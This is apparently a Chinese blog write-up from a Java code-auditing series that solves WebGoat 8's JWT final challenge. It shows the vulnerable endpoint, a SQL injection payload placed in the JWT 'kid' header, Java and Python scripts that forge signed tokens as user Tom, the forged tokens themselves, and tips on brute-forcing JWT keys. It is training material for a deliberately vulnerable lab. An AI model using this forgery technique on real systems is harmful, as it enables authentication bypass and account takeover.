@AssignmentHints({"jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6"})
public class JWTFinalEndpoint extends AssignmentEndpoint {

    @Autowired
    private WebSession webSession;

    @PostMapping("follow/{user}")
    public @ResponseBody
    String follow(@PathVariable("user") String user) {
        if ("Jerry".equals(user)) {
            return "Following yourself seems redundant";
        } else {
            return "You are now following Tom";
        }
    }

    @PostMapping("delete")
    public @ResponseBody
    AttackResult resetVotes(@RequestParam("token") String token) {
        if (StringUtils.isEmpty(token)) {
            return trackProgress(failed().feedback("jwt-invalid-token").build());
        } else {
            try {
                final String[] errorMessage = {null};
                Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
                    @Override
                    public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
                        final String kid = (String) header.get("kid");
                        try {
                            Connection connection = DatabaseUtilities.getConnection(webSession);
                            ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                            while (rs.next()) {
                                return TextCodec.BASE64.decode(rs.getString(1));
                            }
                        } catch (SQLException e) {
                            errorMessage[0] = e.getMessage();
                        }
                        return null;
                    }
                }).parseClaimsJws(token);
                if (errorMessage[0] != null) {
                    return trackProgress(failed().output(errorMessage[0]).build());
                }
                Claims claims = (Claims) jwt.getBody();
                String username = (String) claims.get("username");
                if ("Jerry".equals(username)) {
                    return trackProgress(failed().feedback("jwt-final-jerry-account").build());
                }
                if ("Tom".equals(username)) {
                    return trackProgress(success().build());
                } else {
                    return trackProgress(failed().feedback("jwt-final-not-tom").build());
                }
            } catch (JwtException e) {
                return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
            }
        }
    }
}

重点关注resetVotes方法:
校验参数token是否为空
|
解析token:
Jwts.parser().setSigningKeyResolver(自定义方法获取签名KEY).parseClaimsJws(token);
自定义方法:
从JwsHeader中获取“kid”直接插入sql查询语句中,存在sql injection,将查看结果返回作为KEY进行解析。
|
获取解析后的JWT body中的username,若为Tom,则成功!

 ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                            while (rs.next()) {
                                return TextCodec.BASE64.decode(rs.getString(1));

@PostMapping("delete")
    public @ResponseBody
    AttackResult resetVotes(@RequestParam("token") String token) {
        if (StringUtils.isEmpty(token)) {
            return trackProgress(failed().feedback("jwt-invalid-token").build());
        } else {
            try {
                final String[] errorMessage = {null};
                Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
                    @Override
                    public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
                        final String kid = (String) header.get("kid");
                        try {
                            Connection connection = DatabaseUtilities.getConnection(webSession);
                            ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                            while (rs.next()) {
                                return TextCodec.BASE64.decode(rs.getString(1));
                            }
                        } catch (SQLException e) {
                            errorMessage[0] = e.getMessage();
                        }
                        return null;
                    }
                }).parseClaimsJws(token);
                if (errorMessage[0] != null) {
                    return trackProgress(failed().output(errorMessage[0]).build());
                }
                Claims claims = (Claims) jwt.getBody();
                String username = (String) claims.get("username");
                if ("Jerry".equals(username)) {
                    return trackProgress(failed().feedback("jwt-final-jerry-account").build());
                }
                if ("Tom".equals(username)) {
                    return trackProgress(success().build());
                } else {
                    return trackProgress(failed().feedback("jwt-final-not-tom").build());
                }
            } catch (JwtException e) {
                return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
            }
        }
    }

收集到的信息:

  1. JWT中原始数据: "kid": "webgoat_key"
    sql语句:"SELECT key FROM jwt_keys WHERE id = '" + kid + "'";
    那么就是说明,jwt_keys表中有一个id的值是:“webgoat_key”

  2. Jwts.parser().setSigningKeyResolver(自定义方法获取签名KEY).parseClaimsJws(token);//通过自定义方法获取签名key然后对token进行JWT解析

  3. JWT中username要等于Tom

思路:
篡改JWT:
利用sql inject,控制查询语句的查询值来控制JWT的密钥,从而伪造JWT,完成任务。

步骤:

  1. 从收集的信息中可以构造出sql语句 select id from jwt_keys where id ='webgoat_key';这个查询结果会输出'webgoat_key',所以在https://jwt.io/#debugger篡改JWT中的"kid": "y' and 1=2 union select id from jwt_keys where id ='webgoat_key";签名设置为webgoat_key
  2. 在payload的username篡改成Tom
  3. 提交篡改后的JWT进行验证。

失败了。那就来跟踪一下代码执行的情况,定位问题吧。

sql injection的payload确实进来了。

执行的结果也和我们设想的一样,目前没有问题。所以问题就在签名部分没有通过。(值得注意:尽管签名校验没通过,但sql injection的payload已经执行)

Java版本

import java.util.ArrayList;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;

public class JWTcryptotest {
    public static final String JWT_PASSWORD = "webgoat_key";
    #public static byte[] JWT_PASSWORD = TextCodec.BASE64.decode("webgoat_key");//这样也可以,得出的密文一样。
    public static void createJWTToken() {
        Claims claims = Jwts.claims();
        claims.put("iat", 1529569536);
        claims.put("iss", "WebGoat Token Builder");
        claims.put("exp", 1618905304);
        claims.put("aud", "webgoat.org");
        claims.put("sub", "jerry@webgoat.com");
        claims.put("username", "Tom");
        claims.put("Email", "jerry@webgoat.com");
        ArrayList<String> roleList = new ArrayList<String>();
        roleList.add("Cat");
        claims.put("Role", roleList);
        String token = Jwts.builder().setClaims(claims).setHeaderParam("typ", "JWT")
                .setHeaderParam("kid", "123' and 1=2 union select id FROM jwt_keys WHERE id='webgoat_key")
                .signWith(io.jsonwebtoken.SignatureAlgorithm.HS256, JWT_PASSWORD).compact();
        System.out.println(token);
    }

    public static void main(String[] args) {
        JWTcryptotest.createJWTToken();
    }

}

eyJ0eXAiOiJKV1QiLCJraWQiOiIxMjMnIGFuZCAxPTIgdW5pb24gc2VsZWN0IGlkIEZST00gand0X2tleXMgV0hFUkUgaWQ9J3dlYmdvYXRfa2V5IiwiYWxnIjoiSFMyNTYifQ.eyJpYXQiOjE1Mjk1Njk1MzYsImlzcyI6IldlYkdvYXQgVG9rZW4gQnVpbGRlciIsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.HThQlDWlvbshn4BnzQ_2RU1DVmYl4dnfiEJmPWpA0b4

这样就通过了。

但在jwt.io中未能通过

关于python脚本的方式,根据调试我们也可以知道,在"kid": "webgoat_key"的时候,签名key是:"qwertyqwerty1234",使用如下脚本得出JWT:

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author:jack
# datetime:2019-09-26 17:06
# software: PyCharm

import jwt
import base64
# payload
token_dict = {
    "iat": 1529569536,
    "iss": "WebGoat Token Builder",
    "exp": 1618905304,
    "aud": "webgoat.org",
    "sub": "jerry@webgoat.com",
    "username": "Tom",
    "Email": "jerry@webgoat.com",
    "Role": ["Cat"]

}
key = base64.b64decode("qwertyqwerty1234")
# headers
headers = {
    "typ": "JWT",
    # "kid": "123' and 1=2 union select id FROM jwt_keys WHERE id='webgoat_key",
    "kid": "webgoat_key",
    "alg": "HS256"
}


# 调用jwt库,生成json web token
jwt_token = jwt.encode(token_dict,  # payload, 有效载体
                       key,  # 进行加密签名的密钥
                       algorithm="HS256",  # 指明签名算法方式, 默认也是HS256
                       headers=headers  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                       ).decode('ascii')  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

print(jwt_token)

签名:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6IndlYmdvYXRfa2V5In0.eyJpYXQiOjE1Mjk1Njk1MzYsImlzcyI6IldlYkdvYXQgVG9rZW4gQnVpbGRlciIsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.6cuviRab-boP6raqinzKYuUmHUM4PpPWsnXAQMv3738

放到请求包中也能通过,说明签名没问题。


jwt.io中也通过了。

但将key设成:webgoat_key的时候,会抛出错误:

这个时候你可能会问,为什么key要先做base64 decode处理?
因为下方代码块中的:
return TextCodec.BASE64.decode(rs.getString(1));

final String[] errorMessage = {null};
                Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
                    @Override
                    public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
                        final String kid = (String) header.get("kid");
                        try {
                            Connection connection = DatabaseUtilities.getConnection(webSession);
                            ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                            while (rs.next()) {
                                System.out.println(rs.getString(1));
                                System.out.println(TextCodec.BASE64.decode(rs.getString(1)));
                                return TextCodec.BASE64.decode(rs.getString(1));
                            }
                        } catch (SQLException e) {
                            errorMessage[0] = e.getMessage();
                        }
                        return null;
                    }
                }).parseClaimsJws(token);

总结:

  1. 对JWT,signature key爆破和篡改JWT的写法需要根据源码来相应设置。
  2. 对JWT,signature key爆破可尝试直接明文和base64encode两种(不排除其他种可能);上文例子中,对明文key进行base64decode后作为signature key来签名,这种情况非常少见。
  3. refresh_token越权篡改他人access_token问题值得注意,refresh_token出现频率低,测试人员漏测几率高。
  4. 可在JWT的headers,payload部分的参数值中插入常见漏洞相关payload去尝试,尽管我们不知道signature key。

本篇到此结束,感谢您的翻阅,期待您的宝贵意见。

2019年10月15日 15:41
网站首页    Java代码审计入门:WebGoat8(再会)